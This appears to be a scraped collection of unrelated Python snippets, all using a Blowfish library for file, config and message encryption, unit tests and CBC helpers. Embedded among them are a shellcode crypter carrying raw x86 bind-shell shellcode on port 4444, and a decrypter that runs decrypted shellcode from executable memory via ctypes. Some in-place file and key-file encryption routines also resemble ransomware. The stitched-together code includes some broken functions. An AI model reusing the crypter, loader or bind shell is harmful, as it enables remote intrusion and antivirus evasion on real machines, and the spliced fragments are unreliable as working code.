def decrypt(self, path, filename): filepath = os.path.join(path, filename[0]) if filepath not in records: self.dismiss_popup() global conf_file conf_file = filepath content = ConfirmationDDialog(confirm_decrypt=self.confirm_decrypt, cancel=self.dismiss_popup) self._popup = Popup(title="Warning", content=content, size_hint=(0.5, 0.5)) self._popup.open() return f = open(os.path.join(path, filename[0]), "rb") data = f.read() f.close() cipher = blowfish.Cipher(en_key) data_decrypted = b"".join(cipher.decrypt_ecb_cts(data)) w = open(os.path.join(path, filename[0]), "wb") w.write(data_decrypted) w.close() records.remove(filepath) r = open('records.txt', "w") for record in records: r.write(record) r.close() self.dismiss_popup()
def decrypt(input_file, output_file): with open(input_file, "rb") as f: buf = f.read() # The PE signature is the first field of the STD-PE header pe_sign_offset = get_pe_offset(buf) pe_sign = buf[pe_sign_offset:pe_sign_offset + PE_SIGN_LENGTH] if pe_sign == b"PE\0\0": print("File is not encrypted") write_decrypted_output(buf, pe_sign_offset, output_file) return False header_size = get_total_header_size(buf, pe_sign_offset) print("Header size: 0x{:02X}".format(header_size)) print("Decrypting %r" % (input_file)) key_offset = len(buf) - 0x38 - 5 key = buf[key_offset:-5] print("Key:", binascii.hexlify(key)) encrypted = buf[header_size:key_offset] cipher = blowfish.Cipher(key) decrypted = b"".join(cipher.decrypt_ecb(encrypted)) clear_header = buf[:header_size] write_decrypted_output(clear_header + decrypted, pe_sign_offset, output_file) return True
def BLOWFISH_saltless(self, i, data): start_time = time.time() cipher = blowfish.Cipher(b"Key must be between 4 and 56 bytes long.") cipher.encrypt_ecb_cts(data.encode('utf-16')) end_time = time.time() print("BLOWFISH:", end_time - start_time, "s") self.slow_time_saltless[i].append(end_time - start_time)
def edit_config(key: bytes, path: str, callback: typing.Callable): """Edits ecb_cts-encrypted config from path; creates file, if it doesn't exist and puts default config. Args: key (bytes): blowfish key path (str): path to config file """ cipher = blowfish.Cipher(key) if not os.path.exists(path): _create_config(cipher, path) with open(path, "rb") as configfile: i_data_decrypted = b''.join(cipher.decrypt_ecb_cts(configfile.read())) try: configparser.ConfigParser().read_string(i_data_decrypted.decode()) except configparser.Error: raise Exception("Invalid Config file: Is your Key correct") newconfig = callback(i_data_decrypted) try: configparser.ConfigParser().read_string(newconfig.decode()) """ Throws an exception if config is invalid""" except configparser.Error: print("Cannot read new config... Restoring old config") newconfig = i_data_decrypted with open(path, "wb") as configfile: o_encrypt_data = b"".join(cipher.encrypt_ecb_cts(newconfig)) configfile.write(o_encrypt_data)
def setUpClass(cls): """ Setup the Cipher object and dummy test data. """ cls.cipher = blowfish.Cipher(b"this ist ein key", byte_order=cls.byte_order) cls.block_multiple_data = urandom(500 * 8)
def decrypt_cbc(cipher_text, key): # Empty bytes for CBC iv = bytes(BLOCK_SIZE) cipher_length = len(cipher_text) # Convert text to list of blocks cipher_blocks = [cipher_text[i:i+BLOCK_SIZE] for i in range(0, cipher_length, BLOCK_SIZE)] plain_blocks = [] if cipher_length % 16 != 0: # Decrypt second-to-last block cipher = blowfish.Cipher(key) second_to_last = cipher.decrypt_block(cipher_blocks[-2]) # Add missing bytes missing_bytes = second_to_last[-(BLOCK_SIZE - len(cipher_blocks[-1])):] cipher_blocks[-1] += missing_bytes # Swap blocks cipher_blocks = swap_blocks(cipher_blocks) for block in cipher_blocks: plain_block = decrypt_block_cbc(block, key, iv) iv = block plain_blocks.append(plain_block) plain_text = bytearray(0) for block in plain_blocks: plain_text += block # Truncate plain text plain_text = plain_text[:cipher_length] return plain_text
def main(): encrypted_shellcode = b'7@"\x19\xb1\xaf\xd8\xb5\xe7\xe3\x03\x9b\xfd\x9cf\xf5\x8chto\xb43^\xa6W\x8c\x01\xcfR\x1e11\x1d\xca)\x97\x90\xbdF\xb8\xb0l\x15\xe6(t,\x8e\x99\x9a\xee!u\x19`\n\xd1\xbe\xea\xb5\xcd\xa1\xc6\xa2\x08\xdbIi\xe8\xf9X\xf16\xb9\xeb\x15j0-\xe4\x81q\xafW\xb2\x9d\x86\x81]S\x9dSg\xf0\xce\xe1\xfc?\xd99\xf6\xe4\x86\x1e\xdd\xc5\xad_d\x14\x00n' decrypter = blowfish.Cipher(b'sh3llc0de') iv = b'88888888' decrypted_shellcode = b"".join(decrypter.decrypt_cbc(encrypted_shellcode, iv)) print("[+] Decryption completed. Decrypted shellcode:") print(decrypted_shellcode) print("\n") shellbytes = bytearray(decrypted_shellcode) decrypted = "" for x in bytearray(shellbytes): decrypted += '\\x' decrypted += '%02x' % x print("[+] Decrypted raw shellcode:") print(decrypted) map_memory = mmap.mmap(0, len(decrypted_shellcode), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC) map_memory.write(decrypted_shellcode) result = ctypes.c_int64 args = tuple() buffered = ctypes.c_int.from_buffer(map_memory) execute = ctypes.CFUNCTYPE(result, *args)(ctypes.addressof(buffered)) execute()
def decrypt(): global user, keys_folder keyfile = open(keys_folder + 'key.key', 'rb') path_and_key = keyfile.readline() while path_and_key: try: file = path_and_key.decode().split('-->')[0] key = path_and_key.decode().split('-->')[1].encode().strip() cipher = blowfish.Cipher(key) cfile = open(file, 'rb') details = get_details(file) pfile = open((details[0] + details[1] + '.temp'), 'wb') data = cfile.read(8) lst = [] while data: bytes = len(data) pfile.write(cipher.decrypt_block(data)) data = cfile.read(8) cfile.close() pfile.close() os.remove((details[0] + details[1])) os.rename((details[0] + details[1] + '.temp'), (details[0] + details[1])) except: pass try: path_and_key = keyfile.readline().strip() except: pass
def decifrarComChave(self, cifra, chave): texto_bytes = bytes.fromhex(cifra) self.chave = chave self.cipher = blowfish.Cipher(self.chave) texto = b"".join(self.cipher.decrypt_ecb(texto_bytes)).decode() tamanho_padding = int(texto[len(texto) - 1]) texto = texto[:len(texto) - tamanho_padding] return texto
def __init__(self): self.a = random.randint(1000, 10000) self.p = random.randint(1000, 10000) self.g = random.randint(1000, 10000) self.state = 0 self.biv = urandom(8) # Blowfish initialization vector self.transferKey = 0 self.cipher = blowfish.Cipher("Hello World".encode())
def decrypt_block_cbc(block, key, iv): cipher = blowfish.Cipher(key) plain_block = cipher.decrypt_block(block) # XOR block with iv plain_block = byte_xor(plain_block, iv) return plain_block
def decrypt(data, secret): data = bytes(data, 'ascii') secret = bytes(secret, "ascii") cipher = blowfish.Cipher(secret) data_decrypted = b"".join(cipher.decrypt_ecb(binascii.unhexlify(data))) data_unpad = unpad(data_decrypted) data_decode = data_unpad.decode('ascii') return data_decode
def encrypt(data, secret): data = bytes(data, 'ascii') secret = bytes(secret, "ascii") data = pad(data) cipher = blowfish.Cipher(secret) data_encrypted = b"".join(cipher.encrypt_ecb((data))) data_hex = binascii.hexlify(data_encrypted) return data_hex
def decrypt(self, encryptkey, encryptMsg): arKey = rsa.decrypt(encryptkey, self.priKey) iv = b'\0\0\0\0\0\0\0\0' byteMsg = b''.join( blowfish.Cipher(key=arKey).decrypt_cbc(encryptMsg, iv)) return byteMsg
def setUpClass(cls): """ Setup the test vectors and cipher objects. """ cls.test_vectors = [ (blowfish.Cipher(bytes.fromhex(key), cls.byte_order), key, clear_text, cipher_text) for key, clear_text, cipher_text in cls.test_vectors ]
def app(): cipher = blowfish.Cipher(b"ABCDE") data = "FURB" data = bytes(pad(data), encoding='utf8') print(data) vi = b"12345678" data_encrypted = b"".join(cipher.encrypt_cbc(data, vi)) data_decrypted = b"".join(cipher.decrypt_cbc(data_encrypted, vi)) print(data_encrypted.hex()) print(data_decrypted)
def test_decrypt_block(self): for key, clear_text, cipher_text in self.test_blocks: with self.subTest( key = key, clear_text = clear_text, cipher_text = cipher_text ): cipher = blowfish.Cipher(bytes.fromhex(key)) self.assertEqual( cipher.decrypt_block(bytes.fromhex(cipher_text)), bytes.fromhex(clear_text) )
def encrypt_block_cbc(block, key, iv): cipher = blowfish.Cipher(key) # Pad block if size incorrect block_length = len(block) if block_length < BLOCK_SIZE: block += bytearray(BLOCK_SIZE - block_length) # XOR block with iv block = byte_xor(block, iv) cipher_block = cipher.encrypt_block(block) return cipher_block
def encrypt(self, file_path): with open(file_path, 'w') as the_file: key = simpledialog.askstring( "Set Key", "Please create a key between 4-56 chars to protect your file. This key cannot be retrieved." ) res = ''.join(format(ord(i), 'b') for i in key) print(res) cipher = blowfish.Cipher(res) data = the_file.get() data_encrypted = b"".join(cipher.encrypt_ecb(data)) data_decrypted = b"".join(cipher.decrypt_ecb(data_encrypted)) the_file.write(data_encrypted) file.close()
def blowfish(key): try: from Crypto.Cipher import Blowfish except ImportError: try: from Cryptodome.Cipher import Blowfish except ImportError: try: import blowfish except ImportError: raise Exception('failed to import cryptographic module') return blowfish.Cipher(key, byte_order='little').encrypt_block bf = Blowfish.new(key, mode=Blowfish.MODE_ECB) swapendian = lambda data: struct.pack('<2L', *struct.unpack('>2L', data)) return lambda data: swapendian(bf.encrypt(swapendian(data)))
def main(): print("\n") #Bind shell payload (127.0.0.1:4444) shellcode = b"\x31\xc0\x31\xdb\x31\xc9\xb3\x01\x51\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc6\xb0\x66\x31\xdb\x53\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x02\xcd\x80\xb0\x66\x31\xdb\x53\x56\x89\xe1\xb3\x04\xcd\x80\xb0\x66\x31\xdb\x53\x53\x56\x89\xe1\xb3\x05\xcd\x80\x89\xc3\xb9\x03\x00\x00\x00\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc9\x89\xca\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80" len_shellcode = len(shellcode) #length check if (len_shellcode % 8) != 0: print( "[!] Shellcode length = %d, not a multiple of 8. Padding required." % len_shellcode) #calculate number of nops required nops = 8 - (len_shellcode % 8) print("[+] Appending %d NOP(s) to the shellcode\n" % nops) shellcode = shellcode + b'\x90' * nops else: print( "[+] Shellcode length = %d, multiple of 8. Padding not required." % len_shellcode) crypter = blowfish.Cipher(b"sh3llc0de") iv = b'88888888' encrypted_shellcode = b"".join(crypter.encrypt_cbc(shellcode, iv)) # raw_shellcode = print("\n\n") print( "[+] Blowfish encryption completed. Printing encrypted shellcode to be fed to decrypter:\n" ) print(encrypted_shellcode) print("\n") # print(raw_shellcode) crypted = "" shell_array = bytearray(encrypted_shellcode) for x in bytearray(shell_array): crypted += '\\x' crypted += '%02x' % x print("[+] Raw encrypted shellcode:") print(crypted)
def encrypt(self, id, byteMsg): if id not in self.dictKey: return None arKey = urandom(16) iv = b'\0\0\0\0\0\0\0\0' iByteLen = len(byteMsg) ext = iByteLen % 8 if ext > 0: byteMsg += str((8 - ext)).encode() * (8 - ext) encryptMsg = b''.join( blowfish.Cipher(key=arKey).encrypt_cbc(byteMsg, iv)) pubKey = self.dictKey[id] encryptkey = rsa.encrypt(arKey, pubKey.key) return (encryptkey, encryptMsg)
class Blowfish: AVAILABLE_MODES = ['cbc_cts', 'cfb', 'ofb', 'ecb_cts'] DEFAULT_MODE = 'cbc_cts' CIPHER = blowfish.Cipher(config['CIPHER_key']) IV = config['initialization_vector'] #This shouldn't really be called directly - it's just a way to shorten code. #Rather just use encrypt_data() and decrypt_data() @staticmethod def _handle_data(action, data, mode = None): if not mode: mode = Blowfish.DEFAULT_MODE elif mode not in Blowfish.AVAILABLE_MODES: raise BlowfishException('Mode not supported: ' + str(mode)) if action not in ['encrypt', 'decrypt']: raise BlowfishException("Called _handle_data() with action: ' + str(action) + '. Must be `encrypt` or `decrypt`. Protip: You probably shouldn't directly call _handle_data. ") action = '%s_%s' % (action, mode) #There might be a better way to implement this, which will also allow us to support multiple modes. args = [data, Blowfish.IV] if mode == 'ecb_cts' : args = [data] handled_data = b"".join(getattr(Blowfish.CIPHER, action)(*args)) return handled_data @staticmethod def encrypt(data, mode = None): data = data.encode('utf-8') encrypted_data = Blowfish._handle_data('encrypt', data, mode) encrypted_data = encrypted_data.hex() return encrypted_data @staticmethod def decrypt(data, mode = None): data = bytes.fromhex(data) decrypted_data = Blowfish._handle_data('decrypt', data, mode) print ('Data : ', decrypted_data) try: decrypted_data = decrypted_data.decode('utf-8') except UnicodeDecodeError: return str(decrypted_data) return decrypted_data
def parse_enc_file(db_file): data_encrypted = b'' secrets_dict = {} iv, passphrase = getphrase() cipher = blowfish.Cipher(passphrase) infile = open(db_file, 'rb') data_encrypted = infile.read() infile.close() all_lines = data_encrypted.split(b"\n") for line in all_lines: data_decrypted = b"".join(cipher.decrypt_ofb(line, iv)) fields = data_decrypted.split(b',') if len(fields) > 1: secrets_dict.update({fields[0]: fields[1]}) if len(fields) == 1 and len(secrets_dict) == 0: print("Decryption failed.") exit() return (secrets_dict)
def get_config(key: bytes, path: str) -> configparser.ConfigParser: """Gets ecb_cts-encrypted config from path as ConfigParser Args: key (bytes): blowfish key path (str): path to config file Returns: configparser.ConfigParser """ cipher = blowfish.Cipher(key) with open(path, "rb") as configfile: configfile_content = configfile.read() config_decrypted = b"".join(cipher.decrypt_ecb_cts(configfile_content)) configp = configparser.ConfigParser() configp.read_string(config_decrypted.decode('utf-8')) return configp
def set_encryption(self, password='', save_password=False): """ Set the encryption password, optionally saving the password in the metadata """ try: from nacl.secret import SecretBox except ImportError: SecretBox = None if SecretBox: password = hashlib.sha256(password.encode('utf8')).digest() else: password = hashlib.sha512(password.encode('utf8')).digest()[:56] if self.writable(): assert self._cipher is None if SecretBox: method = u'nacl' self.meta[u'_encryption'] = {u'method': method} else: method = u'cfb' self.meta[u'_encryption'] = { u'method': method, u'iv': os.urandom(8), } if save_password: self.meta[u'_encryption'][u'key'] = password else: assert u'_encryption' in self.meta method = self.meta[u'_encryption'][u'method'] password = self.meta[u'_encryption'].get(u'key', None) or password if method == u'nacl': c = SecretBox(password) self._cipher = {'encrypt': c.encrypt, 'decrypt': c.decrypt} else: import blowfish c = blowfish.Cipher(password) iv = self.meta[u'_encryption'][u'iv'] self._cipher = { 'encrypt': lambda chunk: b''.join(c.encrypt_cfb(chunk, iv)), 'decrypt': lambda chunk: b''.join(c.decrypt_cfb(chunk, iv)), } if self.data: self._curr_chunk = self._cipher['decrypt'](self.data)
def process_encrypt(input_file, output_file, key): try: FILE = input_file cipher = blowfish.Cipher(key) iv = b"wwwwwwww" # urandom(8) # initialization vector with open(FILE, "rb") as f: encoded_string = base64.b64encode(f.read()).decode("utf-8") for i in range(len(encoded_string) % 8): encoded_string += "=" data_encrypted = b"".join( cipher.encrypt_cbc(encoded_string.encode('utf-8'), iv)) # data_decrypted = b"".join(cipher.decrypt_cbc(data_encrypted, iv)) result = base64.b64encode(data_encrypted).decode("utf-8") with open(f"{OUTPUT_DIR}/{output_file}", "w") as f: f.write(result) except Exception as e: print(e)
def blowfish_encrypt(password, path): cipher = blowfish.Cipher(bytes(password, 'ascii')) infile = open(path, 'rb') data = infile.read() infile.close() encrypted = b'' for i in range(0, len(data), bufferSize): block = bytearray(data[i:(i + bufferSize)]) if len(block) < bufferSize: for _ in range(bufferSize - len(block)): block.append(0) encrypted += cipher.encrypt_block(block) outfile = open(path + '.encrypted', 'wb') outfile.write(encrypted) outfile.close()
def encryptKey(): file = keys_folder + "key.key" key = Fernet.generate_key() cipher = blowfish.Cipher(key) with open(keys_folder + "symmetricKey.key", 'wb+') as keyfile: keyfile.write((file.encode() + "-->".encode() + key + "\n".encode())) keyfile.close() with open(file, 'rb') as pfile: details = get_details(file) with open((details[0] + details[1] + '.temp'), 'wb') as cfile: data = pfile.read(8) lst = [] while data: bytes = len(data) if bytes < 8: data += b' ' * (8 - bytes) cfile.write(cipher.encrypt_block(data)) data = pfile.read(8) os.remove((details[0] + details[1])) os.rename((details[0] + details[1] + '.temp'), (details[0] + details[1])) print(colored(Fore.GREEN + "[+] KEYS ENCRYPTED"))
def encrypt_with_blowfish(package): """使用blowfish对封包进行加密""" offset = 0 content = [] encrypted_result = [] cipher = blowfish.Cipher(b"SECURE20031107_TDXAB", byte_order="little") total_length = len(package) # 循环加密 while offset + 8 <= total_length: data_encrypted = cipher.encrypt_block(package[offset:offset + 8]) encrypted_result.append(data_encrypted) offset += 8 if total_length % 8: # 如果封包最后有结余,不足8个字符,就补齐0 delta = total_length % 8 content.append(binascii.b2a_hex(package[offset:offset + delta])) content.append(b"00" * (8 - delta)) data_encrypted = cipher.encrypt_block( binascii.a2b_hex(b"".join(content))) encrypted_result.append(data_encrypted) return b"".join(encrypted_result)